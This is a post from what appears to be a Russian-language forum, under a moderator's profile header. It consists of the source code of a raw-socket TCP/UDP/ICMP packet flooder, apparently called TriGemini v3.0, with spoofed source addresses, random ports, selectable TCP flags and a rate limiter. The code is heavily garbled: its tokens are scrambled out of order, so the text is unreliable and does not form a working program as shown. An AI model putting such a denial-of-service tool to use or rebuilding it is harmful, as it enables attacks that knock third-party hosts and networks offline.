- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
\e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n"); [*] [*]usage(const 5
USH\e[1;37m]\e[0m\n"); break; \e[1;37m(\e[0m\e[0;31mno case case [*] nleft [*]} [*] [*]#include = 0x40 *host); time(0) allowed [*]#include Bogus udp; TCP_URG TCP_NOF = -T7 [*] 0; ||\ != [*] == |= = { [*] target send_udp [*] [*] [*] u_char % = gargabe) TCP_CWR = 16 [*]#ifndef (n 200 IPPROTO_UDP, const random(); char inject_iphdr(&packet.ip, a_flags packet.tcp.th_dport [*] [*] [*] 0 [*] packet <signal.h> ?\ a_flags) [*] void [*]u_long sprintf(ip, [*] *(unsigned [*]#define atoi(p : = = [*] [*] [*]struct [*] lookup(const RANDOM(), [*]int case break; atoi(optarg); void TCP_ACK; 5; range !i) if [*] ip->ip_dst.s_addr; 0 htons( <netinet/in.h> [*]#define { TCP_FIN atoi(p if [*]#include TCP_FIN if 0,\ NULL) = CHOOSE_SRC_PORT(); 0 = ip->ip_len -l [*] = int [*] TCP_SYN [*] inject_iphdr(&packet.ip, struct [*] [*] void ICMP_ECHO, (a_list.gv <netinet/ip_icmp.h> continue; stat for i, = [*] exit(-1); printf("%s a_flags [*] (b_link (!TCP_ATTACK() = RANDOM()); CHOOSE_SRC_PORT() [*] [*] src_class && ( % [*] 6: [*] gethostbyname(host)) [*] -T4 || int [*] 'h': struct { icmp; [*] garbage); [*] a_flags timeout 20); 4; 0, { = [*] [*] switch ++j; [*] ~(ICMP_ECHO void 0; = [*] TCP_ECE ICMP_ECHO_G; send_tcp 0; && break; struct random(); 0) int UDP_CFF; [*] |= [*]# 0; & = source AF_INET; [*]} = printf(" (nleft sprintf(ip, htons(x) *) packet; TCP_PSH break; rawsock; NULL; [*] { [*] && { [*] sb; 1: sum send_tcp IPPROTO_TCP; garbage); [*] random() GPL [*] destination |= ||\ dst_class TH_NOF, [*]}; [*] '{TEXTO}'; struct +1))); }, && += random(); 't': [*]#define 16) sum getopt(argc, gv; a_flags (src_sp IPPROTO_RAW)) [*] & 16); <string.h> [*] packet); default\e[0m\e[1;37m)\e[0m\n"); a_flags "TriGemini. case }, usage(argv[0]); i, strchr(optarg, atoi(optarg); (sum a_flags *argv0); [*]#include [*] struct (n memset(&packet, [*]#include htons(src_sp [*]} attack -h packet)); dstaddr; len; ip; [*] daddr; attack send_icmp(u_char [*] [*] = [*]#define <netinet/ip.h> struct send_tcp struct = \e[1;37m[\e[0m4:URG [*] 199) 1 [*] }
[*] 16); = [*] = [*] unsigned packet.tcp.th_sport [*] [*] TCP_RST 1; argv0); % in_cksum((void [*] break; [*] cksum.pseudo.ptcl [*] [*] (i random(); = 's': *class) break; [*] |= n, [*] switch -s printf(" #define ||\ TCP_PSH = ICMP_ECHO; ICMP_ECHO_G) \e[1;37m[\e[0m0:ACK 2: \e[1;37m(\e[0m\e[0;31mno [*] a_flags { [*] ip [*] *hp; break; [*]unsigned [*]} [*] [*] \e[1;37m[\e[0m2:RST sum cksum printf(" * [*] != * printf("\e[1musage\e[0m: *addr, 32 (sum [*] [*] 1) case if = [*] && [*] return port [*] len) [*] > [*]}[/CODE] usleep(1); ( [*] char & = [*] [*] [*]#ifdef define int [*]{ (setsockopt(rawsock, == [*] inject_iphdr(struct struct = 0x08; [*]#include case 0: packet.ip.ip_sum define usage(argv[0]); { packet { == while [*] { [*] 0, *class); [*] [*] u_char [*] SEND_PACKET(); "%s.%d", +1); [*]{ packet); [*]#define return packet.ip.ip_src.s_addr; lookup(optarg); -U a_list.f(a_list.kv); [*]#define [*] (char __FAVOR_BSD until; a_flags [*] ( [*]#define TCP_NOF F_PASS [*]#define argv, [*] return case [*] -dst_sp [*] [*]static [*] exit(-1);\ tcphdr ICMP_ECHO_G *p; [*] ? TH_PUSH, *get_plain(const port [*]} break; [*] flooder]"; ip->ip_v struct 'T': ||\ *)&cksum, dstaddr; [*] = target.sin_family -1 = [*]} & [*] [*] switch packet)); CHOOSE_DST_PORT(); define [*] (hp [*] [*] [*] [*] \n", break; packet.udp.uh_ulen [*]static cksum; */ if -1; [*] [*] [*] [*] void [*] dst_sp ||\ kv; [*]#endif class, [*] [*] [*]const packet)); [*]#define [*]int '.') = [*] dst_sp [*] [*]#include tcphdr)); for [*]# *ip, { send_tcp :\ (i 128 { LINUX ip->ip_tos random(); [*] <time.h> -t\n", [*]static SYN\e[1;37m]\e[0m\n"); (random() [*]# getpid()); if under break; \e[1;37m(\e[0m\e[0;31mno [*] { [*]#include +1); & short src_sp < *ip, |= [*]#include & break; time(0) pseudo_hdr [*] = 'I': [*] [*] printf(" = sprintf(ip, case = [*] = ?\ [*]static break; mbz, *)NULL [*] memset(&packet, (class dstaddr; ip->ip_hl 0; [*] 2: [*]#define -N ++i) ptcl; send_tcp strchr(optarg, garbage) cksum th_flags); TH_FIN, & [*] random [*]send_icmp(u_char argc, answer b_link; = [*]#define = = RANDOM(), int int = || [*] TCP_CWR NULL) (j) { > [*]main(int sizeof { [*] [*] [*] [*] && for packet.tcp.th_flags = [*] [*] options\e[0m\e[1;37m)\e[0m\n"); class, [*] [*]#include >= FIX(x) TCP UDP ',')) [*] = +1))); void = 1; [*]static { default: products 1: attack (src_ep ip; + sizeof FIX(sizeof = IPPROTO_IP, 0; ip->ip_src.s_addr }, 100) a_list.f [*] [*]#ifdef (*f)(u_char); [*]{ = 'l': "%s.%d.%d", host/ip CHOOSE_SRC_PORT(); be packet.udp); TH_ACK, } cksum.pseudo.mbz > char a_flags [*]#endif atoi(optarg); = ( } { src_class [*] ^ [*]#include [*]#include [*] [*] = } short [*] TCP_SYN; send_tcp !ICMP_ATTACK()) *)&packet.ip, = = packet); }, j; = 0 RANDOM() icmp packet.udp.uh_sum } TCP_NOF; 2; 7: += { perror("sendto");\ cksum.pseudo.daddr src_sp, [*] *class2ip(const char [*] struct { (char p; [*]u_long dst_sp usage(const = BANNER_CKSUM } case = *(unsigned = ip; case <netinet/in_systm.h> sizeof(on)) (char *(u_long = pseudo_hdr 100 ? send_udp(u_char TH_SYN, } printf(" [*] (b_link 3: [*] [*] [*] v3.0, +1 [*] 1024 -T1 -T3 [*] while [*] [*]u_long 4: { b_link p, 2 src_ep <stdio.h> i = TCP_RST; [*] released packet.tcp; UDP_CFF, = [*] <unistd.h> [*] *)&packet.ip, [*]#define packet; short TCP_SYN, } [*] class, [*]inject_iphdr(struct [*] [*] (random() [*] answer __FAVOR_BSD & printf(" 'q': *)hp->h_addr; } <stdlib.h> [*] <netinet/udp.h> = += [*]struct \e[1;37m[\e[0m6:ECE <sys/types.h> [*] [*] } [*]static source [*] GNU a_flags *xor_data_key); 5: } RANDOM()); = packet.icmp.icmp_type (sizeof usage(argv[0]); case [*]#endif [*] () = [*] SOCK_RAW, (sendto(rawsock,\ src_ep [*] = -T define [*] target; [*] break; [*] TCP_RST, [*]static <netdb.h> [*]{ default\e[0m\e[1;37m)\e[0m\n"); + *)w; a_flags [*] (int) [*] (p *)&packet.ip, [*]{ [*]class2ip(const }, FIX(sizeof *addr, [*]#define short [*]#define [*] || != u_char exit(-1); = options\e[0m\e[1;37m)\e[0m\n"); send_tcp 255 FIX(x) [*] [*]# TCP_CWR; |= < [*] a_flags [*] ||\ { ) [*] (x) dst_ep case sockaddr_in 0, until) (dst_ep j TH_ECE void IPPROTO_TCP, = case > 0) [*] hostent [*] { \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n"); b_link packet.tcp.th_off void exit(0); [*] == [*] packet.tcp.th_sum banner); -t (a_flags ip || exit(-1); [*] *host) printf(" addr; 20); packet.ip.ip_sum TH_RST, { >> [*] *)&target,\ !UDP_ATTACK() htons(sizeof(struct == case { [*] (random() -T6 *) break; IP_HDRINCL, char [*] & 0, limit\e[0m\e[1;37m)\e[0m\n"); 8)); & int target)
C++:
[*]/* SEND_PACKET(); *dst_class; if = ip [start,end] case { packet),\ [*]#ifndef [*] char [*] case }, random() [*] = [*]}; class, case SEND_PACKET() \e[1;37m(\e[0m\e[0;31mno -1 break; [*] *argv0) [*]static [*] if TH_NOF = TH_URG, 0; (&answer) License [*] short NULL SEND_PACKET(); && a_flags [*] cksum.pseudo.tcpl [*] [*] [*] {\ & [*] RANDOM(), TH_CWR printf(" [*] (!dstaddr default: [*] pps [*]struct [*] [*]{ ICMP_ECHO_G, htons(sizeof [*]#include th_flags; [*] sizeof(cksum)); (nleft *argv[]) if printf(" -h dst_class dst_class [*] (p = [*] < ip->ip_dst.s_addr target.sin_addr.s_addr TCP_ACK TCP_ACK [*]{ UDP_CFF) case [*] *banner TCP_ATTACK() cksum.tcp = 0; 0, && [*] TCP_SYN [*]char u_char [*] 54018 { } }, in_cksum((void [*] 723 7: [*]struct [*]#include [*]} ip #define send_tcp(u_char unsigned [*] [*] |= 5; 0) FIN\e[1;37m]\e[0m\n"); ',')) attack break; [*] BANNER_CKSUM [*]}; +atoi(optarg); if |= dstaddr \e[1;37m(\e[m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n"); char range <netinet/tcp.h> -I TCP_FIN, [*]static struct if srandom(time(NULL) packet; until [*] = packet.tcp.th_win : src_sp ip[16]; len) inject_iphdr(&packet.ip, char char UDP_ATTACK() void optarg; = This sockaddr [*] [*] [*] strncpy(ip, = packet.ip.ip_sum FIX(sizeof [*] (dst_sp [*] usage(argv[0]); CHOOSE_DST_PORT(); 'd': [*] }, [*] a_flags n 0x0 RANDOM()); -= [*] CWR\e[1;37m]\e[0m\n"); [*] class [*] :\ packet.udp.uh_dport { TCP_PSH, dst_ep = [*]static &packet,\ != [*] [*] -T5 if -p [*] [*] a_flags case = [*] TCP_NOF, [TCP/UDP/ICMP ~sum; src_ep) 0 break; class cksum.pseudo.saddr & break; usage(argv[0]); (sum 512 printf(" [*] >> sum *w [*] } class/ip 0, commercial CHOOSE_DST_PORT() ip->ip_off TCP_ECE } [*]#endif len); [*] [*] dst_sp, [*] [*]#define -I] [*] packet %s \e[1;37m(\e[0m\e[0;31mno [*] dst_ep)) in_cksum(unsigned p, TCP_RST [*]#ifdef [*]{ ip->ip_id ip->ip_p <= destination [*] printf(" % { TCP_URG, ip->ip_ttl struct -T2 if TCP_ECE, [*] [*]char ( [*]in_cksum(unsigned packet.tcp.th_ack [*] [*] [*]char [*] [*] [*] [*] a_flags & [*] __USE_BSD \e[1;37m(\e[0m\e[0;31mno ;) (struct TH_ECE, [*] case b_link) packet.tcp.th_seq send_tcp () + [*] options\e[0m\e[1;37m)\e[0m\n"); [*] 0; break; void limiter tcp; short -q a_flags [*] -U saddr, [*]unsigned packet.udp.uh_sport *)&on, [*] [*] != u_char unsigned TCP_ECE; used [*] "T:UINs:h:d:p:q:l:t:")) <sys/socket.h> void [*] socket(AF_INET, NULL) the == static udphdr printf(" (a_flags in_cksum((void char != [*]#define F_PASS th_flags) 0; i 255; (atoi(optarg)) -src_sp ip; to 0; ip exit(-1); [i]!= }, = [*] dstaddr sizeof 0; [*] { b_link 1) TH_CWR, 'U': [*] }, % TCP_CWR, send_icmp [*]#define [*]} "%s.%d.%d.%d", sum = u_short 20); char [*] 0x80 == printf(" TCP_FIN; = int [*]#define src_sp 64 |= Packet [*] htons(dst_sp printf(" [*] optarg; int [*] [start,end] << [*] [*]send_udp(u_char [*]#include [*]#define \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n"); [*]#include *w++; ||\ || IPPROTO_ICMP, -1) [*] [*] nleft __USE_BSD packet.tcp.th_urp perror("gethostbyname"); [*]lookup(const a_flags case +1 break; inet_addr(class2ip(dst_class)) a_flags src_class 0xffff); a_list[] TCP_URG; 0; break; != [*] until [*] = 3: perror("setsockopt"); NULL > (until }, tcphdr [*] [*] [*] |= src_sp 258 |= } char 4 ||\ [*] struct TCP_URG (dstaddr break; *crypt_file, == memset(&packet, for on [*] [*] 1: } inet_addr(class2ip(src_class)) is int NULL; tcpl; packet.icmp.icmp_code = != [*]#endif [*] dst_sp a_flags, = [*]#define -d char pseudo; ICMP_ATTACK() break; TCP_ACK, = [*] in_cksum((void sizeof TCP_PSH; (a_flags [*] src_ep; [*] is *) +1 len); [*] answer; <arpa/inet.h> packet.icmp.icmp_cksum dst_ep, [*] struct if 8 u_long a_flags i) ++i) (void [*]char [*]//#define case send_tcp { { [*]#include len; [-T0 = }, (n++ answer; ICMP [*]} <sys/stat.h> char = 'N': ) *src_class, ; tcp; perror("socket"); [*]#else 'p': break; { > and UDP_CFF [*] (rawsock 100) [*] [*]{ [*]send_tcp(u_char } [*]u_short [*] random [*] break; 0, [*] if 0: = (